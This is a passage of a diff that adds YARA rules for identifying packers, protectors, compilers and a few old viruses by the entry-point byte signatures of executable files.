+		$1 = {55 8B EC 6A FF 68 18 12 41 00 68 24 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Turbo_Cpp_30_COM_
+{
+	meta:
+		description = "Turbo C++ 3.0 [COM]"
+	strings:
+		$0 = {8C CA 2E 89 16 00 03 B4 30 CD 21 8B 2E 02 00 8B 1E 2C 00 8E DA A3 00 00 8C 06 00 00 89 1E 00 00 89 2E 00 00 E8 00 01 C4 3E 00 00 8B C7 8B D8 B9 FF 7F FC F2 AE E3 61 43 26 38 05 75 F6 80 CD 80 F7 D9 89 0E 00 00 B9 01 00 D3 E3 83 C3 08 83 E3}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_Full_Edition_117_iBox_aPLib__Ap0x_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 iBox [aPLib] -> Ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 79 29 00 00 8D 9D 2C 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_22_PE_DLL_
+{
+	meta:
+		description = "Petite 2.2 [PE DLL]"
+	strings:
+		$0 = {B8 00 00 00 00 68 00 00 00 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 68 00 00 00 00 8B 3C 24 8B 30 66 81 C7 80 07 8D 74 06 08 89 38 8B 5E 10 50 56 6A 02 68 80 08 00 00 57 6A 00 6A 06 56 6A 04 68 80 08 00 00 57 FF D3 83 EE 08}
+	condition:
+		$0 at entrypoint
+}
+rule _UPolyX_03_by_delikon_
+{
+	meta:
+		description = "UPolyX 0.3 by delikon"
+	strings:
+		$0 = {8B ?? B9 ?? ?? ?? ?? 80}
+	condition:
+		$0 at entrypoint
+}
+rule _CodeCrypt_v014b_
+{
+	meta:
+		description = "CodeCrypt v0.14b"
+	strings:
+		$0 = {E9 C5 02 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F}
+		$1 = {E9 C5 02 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXEGuard_13_
+{
+	meta:
+		description = "EXEGuard 1.3"
+	strings:
+		$0 = {BA 98 02 BF B9 00 EB 01 B8 E8 7F FF 7C 29 79 2F FA EA 1D F5 9E 41 76 E5 D8 FD 5D DD 00 88 1C 25 04 55 55 8C 16 15 0A 38 12 2D 0E 8F EF 10 67 36 AC 34 23 DA 39 95 1C 2F 1C 94 00 29 20 3F A9 3D 38 25 15 39 08 29 A0 E8 98 08 A5 39 06 31 BC 2D}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_226_minimum_protection_
+{
+	meta:
+		description = "EXECryptor 2.2.6 (minimum protection)"
+	strings:
+		$0 = {50 68 ?? ?? ?? ?? 58 81 E0 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 0C 24 59 E8 ?? ?? ?? 00 89 45 F8 E9 ?? ?? ?? ?? 0F 83 ?? ?? ?? 00 E9 ?? ?? ?? ?? 87 14 24 5A 57 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 58 81 C0 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? 81 C8 ?? ?? ?? ?? 81 E0 ?? ?? ?? ?? E9 ?? ?? ?? 00 C3 E9 ?? ?? ?? ?? C3 BF ?? ?? ?? ?? 81 CB ?? ?? ?? ?? BA ?? ?? ?? ?? 52 E9 ?? ?? ?? 00 E8 ?? ?? ?? 00 E9 ?? ?? ?? 00 E9 ?? ?? ?? ?? 87 34 24 5E 66 8B 00 66 25 ?? ?? E9 ?? ?? ?? ?? 8B CD 87 0C 24 8B EC 51 89 EC 5D 8B 05 ?? ?? ?? ?? 09 C0 E9 ?? ?? ?? ?? 59 81 C1 ?? ?? ?? ?? C1 C1 ?? 23 0D ?? ?? ?? ?? 81 F9 ?? ?? ?? ?? E9 ?? ?? ?? ?? C3 E9 ?? ?? ?? 00 13 D0 0B F9 E9 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B 64 24 08 31 C0 64 8F 05 00 00 00 00 5A E9 ?? ?? ?? ?? 3C A4 0F 85 ?? ?? ?? 00 8B 45 FC 66 81 38 ?? ?? 0F 84 05 00 00 00 E9 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? 87 3C 24 5F 31 DB 31 C9 31 D2 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 89 45 FC 33 C0 89 45 F4 83 7D FC 00 E9 ?? ?? ?? ?? 53 52 8B D1 87 14 24 81 C0 ?? ?? ?? ?? 0F 88 ?? ?? ?? ?? 3B CB}
+		$1 = {50 68 ?? ?? ?? ?? 58 81 E0 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 0C 24 59 E8 ?? ?? ?? 00 89 45 F8 E9 ?? ?? ?? ?? 0F 83 ?? ?? ?? 00 E9 ?? ?? ?? ?? 87 14 24 5A 57 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 58 81 C0 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? 81 C8 ?? ?? ?? ?? 81 E0 ?? ?? ?? ?? E9 ?? ?? ?? 00 C3 E9 ?? ?? ?? ?? C3 BF ?? ?? ?? ?? 81 CB ?? ?? ?? ?? BA ?? ?? ?? ?? 52 E9 ?? ?? ?? 00 E8 ?? ?? ?? 00 E9 ?? ?? ?? 00 E9 ?? ?? ?? ?? 87 34 24 5E 66 8B 00 66 25 ?? ?? E9 ?? ?? ?? ?? 8B CD 87 0C 24 8B EC 51 89 EC 5D 8B 05 ?? ?? ?? ?? 09 C0 E9 ?? ?? ?? ?? 59 81 C1 ?? ?? ?? ?? C1 C1 ?? 23 0D ?? ?? ?? ?? 81 F9 ?? ?? ?? ?? E9 ?? ?? ?? ?? C3 E9 ?? ?? ?? 00 13 D0 0B F9 E9 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B 64 24 08 31 C0 64 8F 05 00 00 00 00 5A E9 ?? ?? ?? ?? 3C A4 0F 85 ?? ?? ?? 00 8B 45 FC 66 81 38 ?? ?? 0F 84 05 00 00 00 E9 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? 87 3C 24 5F 31 DB 31 C9 31 D2 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 89 45 FC 33 C0 89 45 F4 83 7D FC 00 E9 ?? ?? ?? ?? 53 52 8B D1 87 14 24 81 C0 ?? ?? ?? ?? 0F 88 ?? ?? ?? ?? 3B CB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _NeoLite_vxx_
+{
+	meta:
+		description = "NeoLite vx.x"
+	strings:
+		$0 = {9E 37 00 00 ?? ?? 48 ?? ?? ?? 6F 4C ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 61}
+		$1 = {9E 37 00 00 ?? ?? 48 ?? ?? ?? 6F 4C ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 61}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Soft_Defender_v11x__Randy_Li_
+{
+	meta:
+		description = "Soft Defender v1.1x -> Randy Li"
+	strings:
+		$0 = {74 07 75 05 ?? ?? ?? ?? ?? 74 1F 75 1D ?? 68 ?? ?? ?? 00 59 9C 50 74 0A 75 08 ?? 59 C2 04 00 ?? ?? ?? E8 F4 FF FF FF ?? ?? ?? 78 0F 79 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _Histogram_graphics_file_
+{
+	meta:
+		description = "Histogram graphics file"
+	strings:
+		$0 = {6D 68 77 61 6E 68 00 04 01 02 01 02}
+	condition:
+		$0 at entrypoint
+}
+rule _Shrinker_32_
+{
+	meta:
+		description = "Shrinker 3.2"
+	strings:
+		$0 = {55 8B EC 56 57 75 65 68 00 01 00 00 E8 F1 E6 FF FF 83 C4 04}
+		$1 = {55 8B EC 56 57 75 65 68 00 01 00 00 E8 F1 E6 FF FF 83 C4 04}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ENIGMA_Protector_V10V12_Sukhov_Vladimir_
+{
+	meta:
+		description = "ENIGMA Protector V1.0-V1.2-> Sukhov Vladimir"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 ?? ?? 81}
+		$1 = {60 E8 00 00 00 00 5D 83 ?? ?? 81}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _quote_
+{
+	meta:
+		description = "quote"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v12x_New_Strain_
+{
+	meta:
+		description = "ASProtect v1.2x (New Strain)"
+	strings:
+		$0 = {68 01 ?? ?? ?? E8 01 ?? ?? ?? C3 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_TravJack883_
+{
+	meta:
+		description = "Vx: TravJack.883"
+	strings:
+		$0 = {EB ?? 9C 9E 26 ?? ?? 51 04 ?? 7D ?? 00 ?? 2E ?? ?? ?? ?? 8C C8 8E C0 8E D8 80 ?? ?? ?? ?? 74 ?? 8A ?? ?? ?? BB ?? ?? 8A ?? 32 C2 88 ?? FE C2 43 81}
+		$1 = {EB ?? 9C 9E 26 ?? ?? 51 04 ?? 7D ?? 00 ?? 2E ?? ?? ?? ?? 8C C8 8E C0 8E D8 80 ?? ?? ?? ?? 74 ?? 8A ?? ?? ?? BB ?? ?? 8A ?? 32 C2 88 ?? FE C2 43 81}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SecurePE_1X__wwwdeepzoneorg_
+{
+	meta:
+		description = "SecurePE 1.X -> www.deepzone.org"
+	strings:
+		$0 = {8B 04 24 E8 00 00 00 00 5D 81 ED 4C 2F 40 00 89 85 61 2F 40 00 8D 9D 65 2F 40 00 53 C3 00 00 00 00 8D B5 BA 2F 40 00 8B FE BB 65 2F 40 00 B9 C6 01 00 00 AD 2B C3 C1 C0 03 33 C3 AB 43 81 FB 8E 2F 40 00 75 05 BB 65 2F 40 00 E2 E7 89 AD 1A 31 40 00 89 AD 55 34 40 00 89 AD 68 34 40 00 8D 85 BA 2F 40 00 50 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_PESHiELD_025__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [PESHiELD 0.25] --> Anorganix"
+	strings:
+		$0 = {60 E8 2B 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 CC CC}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_120_Basic_Edition_waPLib_043__ap0x_
+{
+	meta:
+		description = "RLPack 1.20 Basic Edition w/aPLib 0.43 -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 92 05 00 00 EB 0C 8B 85 8E 05 00 00 89 85 92 05 00 00 8D B5 BA 05 00 00 8D 9D 41 04 00 00 33 FF E8 38 01 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Trap_113_COM_
+{
+	meta:
+		description = "Trap 1.13 [COM]"
+	strings:
+		$0 = {8A F6 87 C9 B8 01 FA BA 45 59 87 C9 E8 00 00 8B FC 33 D2 36 8B 2D 87 DB 81 ED 0F 01 87 D2 44 44 8C D1 BA 99 CB 8E D2 33 D2 8E D1 8B CA 33 D2 B9 00 05 EB 02 CD 20 81 F9 E2 03 74 58 83 C1 FE 83 C2 01 EB EE 20 DC DC DC DC DC DC DC DC DC DC DC}
+	condition:
+		$0 at entrypoint
+}
+rule _yP_v10b_by_Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yP v1.0b by Ashkbiz Danehkar"
+	strings:
+		$0 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 C2 E8 03 00 00 00 EB 01 ?? AC ?? ?? ?? ?? ?? ?? ?? EB 01 E8}
+		$1 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 C2 E8 03 00 00 00 EB 01 ?? AC ?? ?? ?? ?? ?? ?? ?? EB 01 E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 01 E8 ?? AA E2 9C}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _UPX_v0761_dos_exe_
+{
+	meta:
+		description = "UPX v0.76.1 [dos exe"
+	strings:
+		$0 = {B9 ?? ?? BE ?? ?? 89 F7 1E A9 ?? ?? 8C C8 05 ?? ?? 8E D8 05 ?? ?? 8E C0 FD F3 A5 FC}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v080__v084_
+{
+	meta:
+		description = "UPX v0.80 - v0.84"
+	strings:
+		$0 = {8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 ?? ?? ?? 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 ?? 75 ?? 8B 1E 83 EE FC}
+		$1 = {8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 ?? ?? ?? 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 77 EF 75 09 8B 1E 83 EE FC}
+		$2 = {8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 ?? ?? ?? 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 ?? 75 ?? 8B 1E 83 EE FC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Private_exe_Protector_V20__SetiSoft_Team_
+{
+	meta:
+		description = "Private exe Protector V2.0 -> SetiSoft Team"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _ProtEXE_211_COM_
+{
+	meta:
+		description = "ProtEXE 2.11 [COM]"
+	strings:
+		$0 = {9C 9C 58 25 FF 0F 50 9D 9C 58 25 00 F0 3D 00 F0 74 2A 9C 58 25 FF 0F 0D 00 70 50 9D 9C 58 25 00 70 74 19 BA 64 00 B0 AD EB 01 88 EE EB 01 A0 0F 20 00 F8 BA 64 00 B0 AE EB 01 88 EE 9D 1E 06 33 C0 8E D8 FF 36 0C 00 FF 36 0E 00 B8 00 00 A3 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _RLP_V073beta__ap0x_
+{
+	meta:
+		description = "RLP V0.7.3.beta -> ap0x"
+	strings:
+		$0 = {2E 72 6C 70 00 00 00 00 00 50 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 E0}
+		$1 = {2E 72 6C 70 00 00 00 00 00 50 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 E0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CExe_v10a__TinyWare_Inc_
+{
+	meta:
+		description = "CExe v1.0a -> TinyWare Inc."
+	strings:
+		$0 = {55 8B EC 81 EC 0C 02 ?? ?? 56 BE 04 01 ?? ?? 8D 85 F8 FE FF FF 56 50 6A 00 FF 15 54 10 40 ?? 8A 8D F8 FE FF FF 33 D2 84 C9 8D 85 F8 FE FF FF 74 16}
+	condition:
+		$0 at entrypoint
+}
+rule _nPack_v11xxx__NEOx_
+{
+	meta:
+		description = "nPack v1.1.xxx -> NEOx"
+	strings:
+		$0 = {83 3D ?? ?? ?? 00 00 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 ?? ?? ?? ?? 2B 05 08 ?? ?? ?? A3 ?? ?? ?? ?? E8 9C 00 00 00 E8 ?? 02 00 00 E8 ?? 06 00 00 E8 ?? 06 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? 00 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00}
+	condition:
+		$0 at entrypoint
+}
+rule _InstallAnywhere_61__Zero_G_Software_Inc_
+{
+	meta:
+		description = "InstallAnywhere 6.1 -> Zero G Software Inc"
+	strings:
+		$0 = {60 BE 00 A0 42 00 8D BE 00 70 FD FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07}
+		$1 = {60 BE 00 A0 42 00 8D BE 00 70 FD FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_V010V012__Dwing____20080321_
+{
+	meta:
+		description = "Upack V0.10-V0.12 -> Dwing   * 20080321"
+	strings:
+		$0 = {BE ?? ?? ?? ?? AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9E 0C 10 00 00 B0 01 67 E3 29 8B D7 2B 56 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF D5 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E4 B4 00 33 C9 B5 01 FF 55 CC 33 C9 E9 DF 00 00 00 8B 5E 0C 83 C2 30 FF D5 73 50 83 C2 30 FF D5 72 1B 83 C2 30 FF D5 72 2B 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 46 0C B1 80 8A 00 EB CF 83 C2 60 FF D5 87 5E 10 73 0D 83 C2 30 FF D5 87 5E 14 73 03 87 5E 18 3C 07 B0 08 72 02 B0 0B 50 53 8D 96 7C 07 00 00 FF 55 D0 5B 91 EB 77 3C 07 B0 07 72 02 B0 0A 50 87 5E 10 87 5E 14 89 5E 18 8D 96 C4 0B 00 00 FF 55 D0}
+	condition:
+		$0 at entrypoint
+}
+rule _PSAdobeFont_v10_
+{
+	meta:
+		description = "PS-AdobeFont v.1.0"
+	strings:
+		$0 = {80 01 ?? ?? 00 00 25 21 50 53 2D 41 64 6F 62 65 46 6F 6E 74 2D 31 2E 30 3A}
+	condition:
+		$0 at entrypoint
+}
+rule _PECrypt_101_
+{
+	meta:
+		description = "PE-Crypt 1.01"
+	strings:
+		$0 = {E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 EB 02 CD 20 EB 03 FF CD 20 56 57 55 89 A3 4B 20 00 00 8B EB 80 BB FA 1F 00 00 01 0F 84 D3 17 00 00 C6 83 FA 1F 00 00 01 80 BB 21 20 00 00 00 75 26 8B 83 07 20 00 00 53 2B D8 EB 02 CD 20 EB 03 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _SecuROM_V7X__Sony_DADC__SignByfly__20080114_
+{
+	meta:
+		description = "SecuROM V7.X -> Sony DADC * Sign.By.fly * 20080114"
+	strings:
+		$0 = {9C 9C 83 EC 1C C7 44 24 18 ?? ?? ?? ?? C7 44 24 14 BF 03 01 00 89 74 24 10 BE F0 ?? ?? ?? C1 4C 24 18 18 ?? 89 6C 24 0C 8B 2E 01 6C 24 18 ?? 83 C6 04 66 FF 4C 24 14 52 5A 75 ED 80 64 24 18 FE ?? 8B 74 24 1C C1 E1 00 8B 6C 24 18 89 74 24 18 8B 74 24 10 89 6C 24 1C C1 E2 00 8B 6C 24 0C 83 C4 18 9D ?? 74 12 81 04 24 ?? ?? ?? ?? ?? 81 04 24 C3 D1 FF 00 EB FA 6B 81 04 24 ?? ?? ?? ?? 0F AC F8 00 81 04 24 C2 04 00 3E FF 74 24 04 9D EB F5 EE 93 9D}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_16c__Vaska_
+{
+	meta:
+		description = "RCryptor 1.6c -> Vaska"
+	strings:
+		$0 = {8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+		$1 = {8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PE_Diminisher_v01__Teraphy_
+{
+	meta:
+		description = "PE Diminisher v0.1 -> Teraphy"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ChinaProtect__dummy_
+{
+	meta:
+		description = "ChinaProtect -> dummy"
+	strings:
+		$0 = {C3 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 56 8B ?? ?? ?? 6A 40 68 00 10 00 00 8D ?? ?? 50 6A 00 E8 ?? ?? ?? ?? 89 30 83 C0}
+		$1 = {C3 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 56 8B ?? ?? ?? 6A 40 68 00 10 00 00 8D ?? ?? 50 6A 00 E8 ?? ?? ?? ?? 89 30 83 C0 04 5E C3 8B 44 ?? ?? 56 8D ?? ?? 68 00 40 00 00 FF 36 56 E8 ?? ?? ?? ?? 68 00 80 00 00 6A 00 56 E8 ?? ?? ?? ?? 5E C3}
+		$2 = {60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3}
+		$3 = {C3 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 56 8B ?? ?? ?? 6A 40 68 00 10 00 00 8D ?? ?? 50 6A 00 E8 ?? ?? ?? ?? 89 30 83 C0 04 5E C3 8B 44 ?? ?? 56 8D ?? ?? 68 00 40 00 00 FF 36 56 E8 ?? ?? ?? ?? 68 00 80 00 00 6A 00 56 E8 ?? ?? ?? ?? 5E C3}
+	condition:
+		$0 at entrypoint or $1 or $2 or $3
+}
+rule _Vx_SYP_
+{
+	meta:
+		description = "Vx: SYP"
+	strings:
+		$0 = {47 8B C2 05 1E 00 52 8B D0 B8 02 3D CD 21 8B D8 5A}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v410__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo v4.10 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {55 8B EC 6A FF 68 F8 8E 4C 00 68 D0 EA 49 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4C 00 33 D2 8A D4 89 15 7C A5 4C 00 8B C8 81 E1 FF 00 00 00 89 0D 78 A5 4C 00 C1 E1 08 03 CA 89 0D 74 A5 4C 00 C1 E8 10 A3 70 A5 4C 00 33 F6 56 E8 78 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 43 13 00 00 FF 15 8C 30 4C 00 A3 84 BB 4C 00 E8 01 12 00 00 A3 D0 A5 4C 00 E8 AA 0F 00 00 E8 EC 0E 00 00 E8 2D FA FF FF 89}
+		$1 = {55 8B EC 6A FF 68 F8 8E 4C 00 68 D0 EA 49 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4C 00 33 D2 8A D4 89 15 7C A5 4C 00 8B C8 81 E1 FF 00 00 00 89 0D 78 A5 4C 00 C1 E1 08 03 CA 89 0D 74 A5 4C 00 C1 E8 10 A3 70 A5}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Unknown_virus_1_
+{
+	meta:
+		description = "Unknown virus 1"
+	strings:
+		$0 = {E9 01 00 1A EB 4E C3 00 00 00 95 E3 AC B1 07 01 01 00 17 05 60 08 01 00 CE 10 20 00 CE 10 0A 04 00 00 FB 04 F8 4F D2 19 72 D3 32 33 AC 1F 73 EA A1 DB C9 38 AD 69 AD 9E 1E 00 20 00 08 00 B4 40 BB 02 00 8B 4C 0A 8B 54 08 03 D6 CD 21 B8 FF 4C}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Borland_Delphi_DLL__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Borland Delphi DLL] --> Anorganix"
+	strings:
+		$0 = {55 8B EC 83 C4 B4 B8 90 90 90 90 E8 00 00 00 00 E8 00 00 00 00 8D 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Virtualization_Suite_V3035V3043__Thinstall_Company_
+{
+	meta:
+		description = "Thinstall Virtualization Suite V3.035-V3.043 -> Thinstall Company"
+	strings:
+		$0 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 28 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Borland_Delphi__Microsoft_Visual_Cpp__ASM_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++ / ASM)"
+	strings:
